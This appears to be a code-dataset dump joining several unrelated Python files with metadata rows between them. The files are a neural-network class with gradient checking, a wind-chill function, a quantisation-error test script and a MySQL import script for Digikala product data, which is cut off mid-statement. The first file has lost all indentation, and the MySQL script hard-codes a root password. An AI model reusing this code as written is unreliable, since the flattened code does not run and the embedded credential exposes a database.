"""
onehot = np.zeros((k, y.shape[0]))
for idx, val in enumerate(y):
onehot[int(val), idx] = 1.0
return onehot
def _initialize_weights(self):
"""Initialize weights with small random numbers."""
w1 = np.random.uniform(-1.0, 1.0, size=self.n_hidden*(self.n_features + 1))
w1 = w1.reshape(self.n_hidden, self.n_features + 1)
w2 = np.random.uniform(-1.0, 1.0, size=self.n_output*(self.n_hidden + 1))
w2 = w2.reshape(self.n_output, self.n_hidden + 1)
return w1, w2
def _sigmoid(self, z):
"""Compute logistic function (sigmoid)
Uses scipy.special.expit to avoid overflow
error for very small input values z.
"""
# return 1.0 / (1.0 + np.exp(-z))
return expit(z)
def _sigmoid_gradient(self, z):
"""Compute gradient of the logistic function"""
sg = self._sigmoid(z)
return sg * (1 - sg)
def _add_bias_unit(self, X, how='column'):
"""Add bias unit (column or row of 1s) to array at index 0"""
if how == 'column':
X_new = np.ones((X.shape[0], X.shape[1]+1))
X_new[:, 1:] = X
elif how == 'row':
X_new = np.ones((X.shape[0]+1, X.shape[1]))
X_new[1:, :] = X
else:
raise AttributeError('`how` must be `column` or `row`')
return X_new
def _feedforward(self, X, w1, w2):
"""Compute feedforward step
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
----------
a1 : array, shape = [n_samples, n_features+1]
Input values with bias unit.
z2 : array, shape = [n_hidden, n_samples]
Net input of hidden layer.
a2 : array, shape = [n_hidden+1, n_samples]
Activation of hidden layer.
z3 : array, shape = [n_output_units, n_samples]
Net input of output layer.
a3 : array, shape = [n_output_units, n_samples]
Activation of output layer.
"""
a1 = self._add_bias_unit(X, how='column')
z2 = w1.dot(a1.T)
a2 = self._sigmoid(z2)
a2 = self._add_bias_unit(a2, how='row')
z3 = w2.dot(a2)
a3 = self._sigmoid(z3)
return a1, z2, a2, z3, a3
def _L2_reg(self, lambda_, w1, w2):
"""Compute L2-regularization cost"""
return (lambda_/2.0) * (np.sum(w1[:, 1:] ** 2) + np.sum(w2[:, 1:] ** 2))
def _L1_reg(self, lambda_, w1, w2):
"""Compute L1-regularization cost"""
return (lambda_/2.0) * (np.abs(w1[:, 1:]).sum() + np.abs(w2[:, 1:]).sum())
def _get_cost(self, y_enc, output, w1, w2):
"""Compute cost function.
y_enc : array, shape = (n_labels, n_samples)
one-hot encoded class labels.
output : array, shape = [n_output_units, n_samples]
Activation of the output layer (feedforward)
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
---------
cost : float
Regularized cost.
"""
term1 = -y_enc * (np.log(output))
term2 = (1 - y_enc) * np.log(1 - output)
cost = np.sum(term1 - term2)
L1_term = self._L1_reg(self.l1, w1, w2)
L2_term = self._L2_reg(self.l2, w1, w2)
cost = cost + L1_term + L2_term
return cost
def _get_gradient(self, a1, a2, a3, z2, y_enc, w1, w2):
""" Compute gradient step using backpropagation.
Parameters
------------
a1 : array, shape = [n_samples, n_features+1]
Input values with bias unit.
a2 : array, shape = [n_hidden+1, n_samples]
Activation of hidden layer.
a3 : array, shape = [n_output_units, n_samples]
Activation of output layer.
z2 : array, shape = [n_hidden, n_samples]
Net input of hidden layer.
y_enc : array, shape = (n_labels, n_samples)
one-hot encoded class labels.
w1 : array, shape = [n_hidden_units, n_features]
Weight matrix for input layer -> hidden layer.
w2 : array, shape = [n_output_units, n_hidden_units]
Weight matrix for hidden layer -> output layer.
Returns
---------
grad1 : array, shape = [n_hidden_units, n_features]
Gradient of the weight matrix w1.
grad2 : array, shape = [n_output_units, n_hidden_units]
Gradient of the weight matrix w2.
"""
# backpropagation
sigma3 = a3 - y_enc
z2 = self._add_bias_unit(z2, how='row')
sigma2 = w2.T.dot(sigma3) * self._sigmoid_gradient(z2)
sigma2 = sigma2[1:, :]
grad1 = sigma2.dot(a1)
grad2 = sigma3.dot(a2.T)
# regularize
grad1[:, 1:] += (w1[:, 1:] * (self.l1 + self.l2))
grad2[:, 1:] += (w2[:, 1:] * (self.l1 + self.l2))
return grad1, grad2
def _gradient_checking(self, X, y_enc, w1, w2, epsilon, grad1, grad2):
""" Apply gradient checking (for debugging only)
Returns
---------
relative_error : float
Relative error between the numerically
approximated gradients and the backpropagated gradients.
"""
num_grad1 = np.zeros(np.shape(w1))
epsilon_ary1 = np.zeros(np.shape(w1))
for i in range(w1.shape[0]):
for j in range(w1.shape[1]):
epsilon_ary1[i, j] = epsilon
a1, z2, a2, z3, a3 = self._feedforward(X, w1 - epsilon_ary1, w2)
cost1 = self._get_cost(y_enc, a3, w1-epsilon_ary1, w2)
a1, z2, a2, z3, a3 = self._feedforward(X, w1 + epsilon_ary1, w2)
cost2 = self._get_cost(y_enc, a3, w1 + epsilon_ary1, w2)
num_grad1[i, j] = (cost2 - cost1) / (2 * epsilon)
epsilon_ary1[i, j] = 0
num_grad2 = np.zeros(np.shape(w2))
epsilon_ary2 = np.zeros(np.shape(w2))
for i in range(w2.shape[0]):
for j in range(w2.shape[1]):
epsilon_ary2[i, j] = epsilon
a1, z2, a2, z3, a3 = self._feedforward(X, w1, w2 - epsilon_ary2)
cost1 = self._get_cost(y_enc, a3, w1, w2 - epsilon_ary2)
a1, z2, a2, z3, a3 = self._feedforward(X, w1, w2 + epsilon_ary2)
cost2 = self._get_cost(y_enc, a3, w1, w2 + epsilon_ary2)
num_grad2[i, j] = (cost2 - cost1) / (2 * epsilon)
epsilon_ary2[i, j] = 0
num_grad = np.hstack((num_grad1.flatten(), num_grad2.flatten()))
grad = np.hstack((grad1.flatten(), grad2.flatten()))
norm1 = np.linalg.norm(num_grad - grad)
norm2 = np.linalg.norm(num_grad)
norm3 = np.linalg.norm(grad)
relative_error = norm1 / (norm2 + norm3)
return relative_error
def predict(self, X):
"""Predict class labels
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
Returns:
----------
y_pred : array, shape = [n_samples]
Predicted class labels.
"""
if len(X.shape) != 2:
raise AttributeError('X must be a [n_samples, n_features] array.\n'
'Use X[:,None] for 1-feature classification,'
'\nor X[[i]] for 1-sample classification')
a1, z2, a2, z3, a3 = self._feedforward(X, self.w1, self.w2)
y_pred = np.argmax(z3, axis=0)
return y_pred
def fit(self, X, y, print_progress=False):
""" Learn weights from training data.
Parameters
-----------
X : array, shape = [n_samples, n_features]
Input layer with original features.
y : array, shape = [n_samples]
Target class labels.
print_progress : bool (default: False)
Prints progress as the number of epochs
to stderr.
Returns:
----------
self
"""
self.cost_ = []
X_data, y_data = X.copy(), y.copy()
y_enc = self._encode_labels(y, self.n_output)
delta_w1_prev = np.zeros(self.w1.shape)
delta_w2_prev = np.zeros(self.w2.shape)
for i in range(self.epochs):
# adaptive learning rate
self.eta /= (1 + self.decrease_const*i)
if print_progress:
sys.stderr.write('\rEpoch: %d/%d' % (i+1, self.epochs))
sys.stderr.flush()
if self.shuffle:
idx = np.random.permutation(y_data.shape[0])
X_data, y_data = X_data[idx], y_data[idx]
mini = np.array_split(range(y_data.shape[0]), self.minibatches)
for idx in mini:
# feedforward
a1, z2, a2, z3, a3 = self._feedforward(X[idx], self.w1, self.w2)
cost = self._get_cost(y_enc=y_enc[:, idx],
output=a3,
w1=self.w1,
w2=self.w2)
self.cost_.append(cost)
# compute gradient via backpropagation
grad1, grad2 = self._get_gradient(a1=a1, a2=a2,
a3=a3, z2=z2,
y_enc=y_enc[:, idx],
w1=self.w1,
w2=self.w2)
## start gradient checking
grad_diff = self._gradient_checking(X=X[idx], y_enc=y_enc[:, idx],
w1=self.w1, w2=self.w2,
epsilon=1e-5,
grad1=grad1, grad2=grad2)
if grad_diff <= 1e-7:
print('Ok: %s' % grad_diff)
elif grad_diff <= 1e-4:
print('Warning: %s' % grad_diff)
else:
print('PROBLEM: %s' % grad_diff)
# update weights; [alpha * delta_w_prev] for momentum learning
delta_w1, delta_w2 = self.eta * grad1, self.eta * grad2
self.w1 -= (delta_w1 + (self.alpha * delta_w1_prev))
self.w2 -= (delta_w2 + (self.alpha * delta_w2_prev))
delta_w1_prev, delta_w2_prev = delta_w1, delta_w2
return self
nn_check = MLPGradientCheck(n_output=len(labels),
n_features=X_train.shape[1],
n_hidden=10,
l2=0.0,
l1=0.0,
epochs=10,
eta=0.001,
alpha=0.0,
decrease_const=0.0,
minibatches=1,
random_state=1)
nn_check.fit(X_train[:5], y_train[:5], print_progress=False)
print ('\n########################### No Errors ####################################')
| 32.856987
| 86
| 0.560023
| 3,968
| 30,097
| 4.095262
| 0.113155
| 0.033231
| 0.036554
| 0.017723
| 0.802523
| 0.793292
| 0.785723
| 0.778462
| 0.773415
| 0.766215
| 0
| 0.039432
| 0.320863
| 30,097
| 915
| 87
| 32.892896
| 0.755577
| 0.369572
| 0
| 0.712366
| 0
| 0
| 0.040866
| 0.003833
| 0
| 0
| 0
| 0
| 0
| 1
| 0.072581
| false
| 0
| 0.013441
| 0
| 0.158602
| 0.032258
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d280a317a0e05e1562bfca7721fad9ae4fba8f5f
| 131
|
py
|
Python
|
homework/week2/hw4.py
|
jamestiotio/DW2020
|
a8c575f1afd34d66dce2798a11b2fa15d1214a43
|
[
"MIT"
] | null | null | null |
homework/week2/hw4.py
|
jamestiotio/DW2020
|
a8c575f1afd34d66dce2798a11b2fa15d1214a43
|
[
"MIT"
] | 1
|
2021-11-04T16:30:26.000Z
|
2021-11-04T16:30:26.000Z
|
homework/week2/hw4.py
|
jamestiotio/DW2020
|
a8c575f1afd34d66dce2798a11b2fa15d1214a43
|
[
"MIT"
] | null | null | null |
def wind_chill_temp(temp,speed):
return 35.74 + (0.6215 * temp) - (35.75 * (speed ** 0.16)) + (0.4275 * temp * (speed ** 0.16))
| 65.5
| 98
| 0.572519
| 23
| 131
| 3.173913
| 0.565217
| 0.246575
| 0.219178
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.226415
| 0.19084
| 131
| 2
| 98
| 65.5
| 0.462264
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 9
|
739cf38022a023aae74c743b375cc71f5a5dcbb0
| 12,845
|
py
|
Python
|
code/model/module/test_q3.py
|
I-Doctor/fix_train
|
3ddd812cd9d6c3dd14ffa059841078f033c48856
|
[
"MIT"
] | null | null | null |
code/model/module/test_q3.py
|
I-Doctor/fix_train
|
3ddd812cd9d6c3dd14ffa059841078f033c48856
|
[
"MIT"
] | null | null | null |
code/model/module/test_q3.py
|
I-Doctor/fix_train
|
3ddd812cd9d6c3dd14ffa059841078f033c48856
|
[
"MIT"
] | null | null | null |
import h5py
import torch
import numpy as np
import matplotlib.pyplot as plt
from quantize_functions import Quantize_A
f = h5py.File('../../../checkpoint/fix_experiment/imgnet/log_quantize_20200926_12-32-39/checkpoint_e_56.h5','r')
keys = f.keys()
fresults = np.array([])
nresults = np.array([])
cresults = np.array([])
ncresults = np.array([])
count = 0
for layer_name in keys:
layer_data = f[layer_name][:]
layer_name = layer_name[0:-8] if layer_name[-1]=='b' else layer_name[0:-6]
if layer_name[0:-1].endswith('conv'):
print(' ',layer_name)
shape = layer_data.shape
print(' shape',shape)
print(' range',layer_data.min(), layer_data.max())
x_in = torch.Tensor(layer_data)
q_xf = Quantize_A.apply(x_in,
4,
0,
False,
False,
'nc',
'complex',
'progress')
q_xn = Quantize_A.apply(x_in,
4,
1,
False,
False,
'nc',
'complex',
'progress')
q_xc = Quantize_A.apply(x_in,
4,
2,
False,
False,
'nc',
'complex',
'progress')
q_xnc = Quantize_A.apply(x_in,
4,
3,
False,
False,
'nc',
'complex',
'progress')
if count % 8 == 0:
ef = np.average(np.abs((q_xf - x_in)/(x_in+1e-20)))
en = np.average(np.abs((q_xn - x_in)/(x_in+1e-20)))
ec = np.average(np.abs((q_xc - x_in)/(x_in+1e-20)))
enc = np.average(np.abs((q_xnc - x_in)/(x_in+1e-20)))
print("results:", ef,en,ec,enc)
fresults = np.append(fresults,ef)
nresults = np.append(nresults,en)
cresults = np.append(cresults,ec)
ncresults = np.append(ncresults,enc)
count += 1
print(fresults)
print(fresults.shape)
nn = len(fresults)
x = 1+ np.arange(0,nn)
plt.figure()
f, = plt.plot(x, fresults,linewidth=2)
n, = plt.plot(x, nresults,linewidth=2)
c, = plt.plot(x,cresults,linewidth=2)
nc, = plt.plot(x,ncresults,linewidth=2)
plt.legend([f,n,c,nc],['E_x=0', 'E_x=1', 'E_x=2','E_x=3'])
plt.xlabel('layer id')
plt.ylabel('average relative error')
plt.savefig('e3.png')
f = h5py.File('../../../checkpoint/fix_experiment/imgnet/log_quantize_20200926_12-32-39/checkpoint_a_56.h5','r')
keys = f.keys()
fresults = np.array([])
nresults = np.array([])
cresults = np.array([])
ncresults = np.array([])
count = 0
for layer_name in keys:
layer_data = f[layer_name][:]
layer_name = layer_name[0:-8] if layer_name[-1]=='b' else layer_name[0:-6]
if layer_name[0:-1].endswith('conv'):
print(' ',layer_name)
shape = layer_data.shape
print(' shape',shape)
print(' range',layer_data.min(), layer_data.max())
x_in = torch.Tensor(layer_data)
q_xf = Quantize_A.apply(x_in,
4,
0,
False,
False,
'nc',
'complex',
'progress')
q_xn = Quantize_A.apply(x_in,
4,
1,
False,
False,
'nc',
'complex',
'progress')
q_xc = Quantize_A.apply(x_in,
4,
2,
False,
False,
'nc',
'complex',
'progress')
q_xnc = Quantize_A.apply(x_in,
4,
3,
False,
False,
'nc',
'complex',
'progress')
if count % 8 == 0:
ef = np.average(np.abs((q_xf - x_in)/(x_in+1e-20)))
en = np.average(np.abs((q_xn - x_in)/(x_in+1e-20)))
ec = np.average(np.abs((q_xc - x_in)/(x_in+1e-20)))
enc = np.average(np.abs((q_xnc - x_in)/(x_in+1e-20)))
print("results:", ef,en,ec,enc)
fresults = np.append(fresults,ef)
nresults = np.append(nresults,en)
cresults = np.append(cresults,ec)
ncresults = np.append(ncresults,enc)
count += 1
print(fresults)
print(fresults.shape)
nn = len(fresults)
x = 1+ np.arange(0,nn)
plt.figure()
f, = plt.plot(x, fresults,linewidth=2)
n, = plt.plot(x, nresults,linewidth=2)
c, = plt.plot(x,cresults,linewidth=2)
nc, = plt.plot(x,ncresults,linewidth=2)
plt.legend([f,n,c,nc],['E_x=0', 'E_x=1', 'E_x=2','E_x=3'])
plt.xlabel('layer id')
plt.ylabel('average relative error')
plt.savefig('a3.png')
f = h5py.File('../../../checkpoint/fix_experiment/imgnet/log_quantize_20200926_12-32-39/checkpoint_w_56.h5','r')
keys = f.keys()
fresults = np.array([])
nresults = np.array([])
cresults = np.array([])
ncresults = np.array([])
count = 0
for layer_name in keys:
layer_data = f[layer_name][:]
layer_name = layer_name[0:-8] if layer_name[-1]=='b' else layer_name[0:-6]
if layer_name[0:-1].endswith('conv'):
print(' ',layer_name)
shape = layer_data.shape
print(' shape',shape)
print(' range',layer_data.min(), layer_data.max())
x_in = torch.Tensor(layer_data)
q_xf = Quantize_A.apply(x_in,
4,
0,
False,
False,
'nc',
'complex',
'progress')
q_xn = Quantize_A.apply(x_in,
4,
1,
False,
False,
'nc',
'complex',
'progress')
q_xc = Quantize_A.apply(x_in,
4,
2,
False,
False,
'nc',
'complex',
'progress')
q_xnc = Quantize_A.apply(x_in,
4,
3,
False,
False,
'nc',
'complex',
'progress')
if count % 8 == 0:
ef = np.average(np.abs((q_xf - x_in)/(x_in+1e-20)))
en = np.average(np.abs((q_xn - x_in)/(x_in+1e-20)))
ec = np.average(np.abs((q_xc - x_in)/(x_in+1e-20)))
enc = np.average(np.abs((q_xnc - x_in)/(x_in+1e-20)))
print("results:", ef,en,ec,enc)
fresults = np.append(fresults,ef)
nresults = np.append(nresults,en)
cresults = np.append(cresults,ec)
ncresults = np.append(ncresults,enc)
count += 1
print(fresults)
print(fresults.shape)
nn = len(fresults)
x = 1+ np.arange(0,nn)
plt.figure()
f, = plt.plot(x, fresults,linewidth=2)
n, = plt.plot(x, nresults,linewidth=2)
c, = plt.plot(x,cresults,linewidth=2)
nc, = plt.plot(x,ncresults,linewidth=2)
plt.legend([f,n,c,nc],['E_x=0', 'E_x=1', 'E_x=2','E_x=3'])
plt.xlabel('layer id')
plt.ylabel('average relative error')
plt.savefig('w3.png')
| 53.520833
| 112
| 0.273647
| 940
| 12,845
| 3.584043
| 0.105319
| 0.034728
| 0.049866
| 0.053428
| 0.967053
| 0.967053
| 0.967053
| 0.967053
| 0.967053
| 0.967053
| 0
| 0.039152
| 0.640093
| 12,845
| 239
| 113
| 53.74477
| 0.689596
| 0
| 0
| 0.950226
| 0
| 0
| 0.058159
| 0.021255
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.022624
| 0
| 0.022624
| 0.081448
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
73a2d9c6db2cd08739214b52111bba8390164d35
| 26,566
|
py
|
Python
|
part1/Script.py
|
sajaddadgar/Digikala_dataset_project
|
7d74b42451d8192a3180ecae8a6925b6d5ac5dc5
|
[
"MIT"
] | null | null | null |
part1/Script.py
|
sajaddadgar/Digikala_dataset_project
|
7d74b42451d8192a3180ecae8a6925b6d5ac5dc5
|
[
"MIT"
] | null | null | null |
part1/Script.py
|
sajaddadgar/Digikala_dataset_project
|
7d74b42451d8192a3180ecae8a6925b6d5ac5dc5
|
[
"MIT"
] | null | null | null |
# Import libraries
import mysql.connector
import pandas as pd
import re
import json
# Establish a MySQL connection
mydb = mysql.connector.connect(host="localhost", user="root", password="java123")
# Get cursor, which is used to traverse the database, line by line
cursor = mydb.cursor()
# Create a database
cursor.execute("create database if not exists mytest;")
cursor.execute("use mytest;")
# Create a table for mobile, laptop, tablet, gaming console, headphone, speaker
cursor.execute("create table if not exists mobile "
"(id int, "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255), "
"primary key (id));")
cursor.execute("create table if not exists laptop "
"(id int primary key , "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255));")
cursor.execute("create table if not exists tablet "
"(id int primary key , "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255));")
cursor.execute("create table if not exists gamingconsole "
"(id int primary key , "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255));")
cursor.execute("create table if not exists headphone "
"(id int primary key , "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255));")
cursor.execute("create table if not exists speaker "
"(id int primary key , "
"title_fa varchar(255), "
"title_en varchar(255), "
"url_code varchar(255), "
"category_fa varchar(255), "
"keywords varchar(255), "
"brand_fa varchar(255), "
"brand_en varchar(255));")
# Create a table for attribute of mobile, laptop, tablet, gaming console, headphone, speaker
cursor.execute("create table if not exists mobile_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references mobile(id));")
cursor.execute("create table if not exists laptop_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references laptop(id));")
cursor.execute("create table if not exists tablet_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references tablet(id));")
cursor.execute("create table if not exists gamingconsole_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references gamingconsole(id));")
cursor.execute("create table if not exists headphone_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references headphone(id));")
cursor.execute("create table if not exists speaker_attribute "
"(id int auto_increment, "
"product_id int, "
"mykey varchar(255), "
"myvalue varchar(255),"
"primary key (id),"
"foreign key (product_id) references speaker(id));")
# Create a table for description of mobile, laptop, tablet, gaming console, headphone, speaker
cursor.execute("create table if not exists title_alt_for_mobile "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references mobile(id));")
cursor.execute("create table if not exists title_alt_for_laptop "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references laptop(id));")
cursor.execute("create table if not exists title_alt_for_tablet "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references tablet(id));")
cursor.execute("create table if not exists title_alt_for_gamingconsole "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references gamingconsole(id));")
cursor.execute("create table if not exists title_alt_for_headphone "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references headphone(id));")
cursor.execute("create table if not exists title_alt_for_speaker "
"(id int auto_increment, "
"product_id int, "
"description varchar(255),"
"primary key (id),"
"foreign key (product_id) references speaker(id));")
# Read Product related file
info = pd.read_excel("data/5-awte8wbd.xlsx")
# List of attributes
head = list(info)
# Insert each columns and values in arrays
col = []
for i in range(head.__len__()):
col.append(pd.DataFrame(info, columns=[head[i]]))
info_value = []
for i in range(head.__len__()):
info_value.append(col[i].get_values())
# Product's title
mobile_title=r'گوشی موبایل'
laptop_title='لپ تاپ و الترابوک'
tablet_title='تبلت'
gamingconsole_title='کنسول خانگی'
headphone_title='هدفون'
speaker_title='اسپیکر'
# Get index and values for filtering products
target_index=head.index('category_title_fa')
title_alt_index=head.index('title_alt')
target_title=col[target_index].get_values()
title_alt_val=col[title_alt_index].get_values()
# Insert mobile's data into tables
cursor.execute('select * from mobile')
data=cursor.fetchall()
# This part check mobile's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter mobiles
for i in range(col[target_index].__len__()):
if re.search(mobile_title, target_title[i][0]):
query= """insert into mobile (
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson = str(info_value[9][i])[3:len(str(info_value[9][i])) - 3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__() - 1] != "":
jj = myjson[myjson.__len__() - 1]
for item in range(myjson.__len__() - 1):
kk = myjson[item] + "}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into mobile_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
# Insert into attribute table
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into mobile_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
cursor.execute(sqlQuery1, sqlValue1)
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_mobile (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
# Insert laptop's data into tables
cursor.execute('select * from laptop')
data=cursor.fetchall()
# This part check laptop's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter laptops
for i in range(col[target_index].__len__()):
if re.search(laptop_title, target_title[i][0]):
query= """insert into laptop(
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson=str(info_value[9][i])[3:len(str(info_value[9][i]))-3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__()-1]!="":
jj = myjson[myjson.__len__()-1]
for item in range(myjson.__len__()-1):
kk = myjson[item]+"}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into laptop_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into laptop_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
cursor.execute(sqlQuery1, sqlValue1)
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_laptop (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
# Insert tablet's data into tables
cursor.execute('select * from tablet')
data=cursor.fetchall()
# This part check tablet's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter tablets
for i in range(col[target_index].__len__()):
if re.search(tablet_title, target_title[i][0]):
query= """insert into tablet(
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson = str(info_value[9][i])[3:len(str(info_value[9][i])) - 3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__() - 1] != "":
jj = myjson[myjson.__len__() - 1]
for item in range(myjson.__len__() - 1):
kk = myjson[item] + "}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into tablet_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into tablet_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
try:
cursor.execute(sqlQuery1, sqlValue1)
except mysql.connector.errors.DataError:
print('')
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_tablet (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
# Insert gaming console's data into tables
cursor.execute('select * from gamingconsole')
data=cursor.fetchall()
# This part check gaming console's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter gaming consoles
for i in range(col[target_index].__len__()):
if re.search(gamingconsole_title, target_title[i][0]):
query= """insert into gamingconsole(
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
